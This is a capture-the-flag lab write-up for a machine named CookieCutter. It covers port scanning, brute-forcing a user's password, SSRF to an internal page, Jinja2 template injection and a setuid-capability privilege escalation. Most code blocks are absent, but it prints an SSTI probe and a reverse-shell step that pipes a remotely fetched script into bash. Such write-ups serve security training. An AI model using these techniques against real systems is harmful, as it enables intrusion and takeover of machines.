CookieCutter

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 192.168.160.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 14:13 +08
Nmap scan report for 192.168.160.112
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
50000/tcp open  ibm-db2

Web Enumeration -> Brute Force

Port 80 just shows a countdown:

If we view the page source, there's this bit here:

Here's the script:

Port 50000 is running an application that uses this script. We know that the user is bob, but the password has been removed. As such, we can brute force his password using an adaptation of the original script:

Eventually, it would find the correct password of cookie1.

Great! Now we can use the original script to interact with the system. I appended a small section here at the bottom:

It seems that we can only run id and curl. Since curl is open, we can try to read some files or do SSRF. Running curl on localhost returns a base64 encoded string:

LFI doesn't work, even with ${IFS}:

In this case, it means SSRF is the only option. I tested the popular web ports that were open, and found one:

Port 8080 hosted an internal admin page that takes a string and echoes it back. I tried some basic SSTI since it was being printed, and it worked:

We can verify that Jinja2 injections work using {{config.items()}}

Using this payload, we can verify the user:

We can get a reverse shell using curl <IP>/shell.sh|bash:

Privilege Escalation

Password-Check -> Setuid Cap

The user's home directory has an interesting file:

Using ltrace shows a password:

Using this password, we cannot su to root, but we can check sudo privileges:

We could run a special type of Python. I wanted to see what was different about this binary, so I used getcap and saw that this can run setuid:

This means we can make ourselves root using this one-liner:

Scripts

Final script for reverse shell:

PreviousCobwebNextDeployer

Last updated